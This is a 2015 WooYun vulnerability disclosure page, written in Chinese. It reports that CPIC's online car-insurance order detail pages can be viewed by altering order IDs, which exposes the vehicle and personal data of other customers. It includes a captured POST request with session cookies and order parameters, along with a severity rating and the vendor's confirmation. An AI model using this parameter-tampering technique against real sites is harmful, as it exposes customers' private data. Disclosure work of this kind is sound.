乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-29: 细节已通知厂商并且等待厂商处理中 2015-04-30: 厂商已经确认,细节仅向厂商公开 2015-05-10: 细节向核心白帽子及相关领域专家公开 2015-05-20: 细节向普通白帽子公开 2015-05-30: 细节向实习白帽子公开 2015-06-14: 细节向公众公开
主站网上下单的所有用户车险订单都有可能被看到
这是车险订单详情页面 里面有车辆信息和人员信息
车险订单详情页面是从这里传递来的 抓包看一下
POST /cpiccar/sale/vehiclepolicy/policyDecisionZhanShi HTTP/1.1Host: www.ecpic.com.cnProxy-Connection: keep-aliveContent-Length: 115Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.ecpic.com.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://www.ecpic.com.cn/mall/sale/payment/orderpayment?orderId=66597626&verificationCode=422716Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: _smt_uid=55408fac.8d6c912; __ag_cm_=1430294444705; bd_uuid=f7e97ef6-d52c-4bd0-8362-ef3d7c2a0354; bd_uuid=f7e97ef6-d52c-4bd0-8362-ef3d7c2a0354; ag_fid=SeM4v9hAHyDQdUOF; JSESSIONID=0000gVC90m-Z4QVxnLxvdNB1P3O:18723f9pm; zhyq_cityname=%E5%8D%97%E9%80%9A%E5%B8%82; ag_count=6; ecpic_his_visit=%5B%7B%22title%22%3A%22%E4%B8%87%E9%87%8C%E6%97%A0%E5%BF%A7%22%2C%22uri%22%3A%22http%3A%2F%2Fwww.ecpic.com.cn%2Fchanpin%2Fwlwysjk%2F%22%7D%5D; cmpIdCookie=02; cmpId=02; othSourceCookie=undefined; JSESSIONIDMALL=0000vRL3BI81wJZ5ALylqB7uUzc:17i7vknvi; s_cc=true; s_sq=%5B%5BB%5D%5D; s_fid=00A638A16A771555-2A3A15A0F9C87879; s_nr=1430298171472telsal=%24telsal&orderNo=00000000000066597626&orderId=66597626&isOrderDetail=1&verificationCode=%24verificationCode
信息影响数据量大
加验证参数 希望厂商多给点rank
危害等级:中
漏洞Rank:6
确认时间:2015-04-30 13:36
加紧修复中
暂无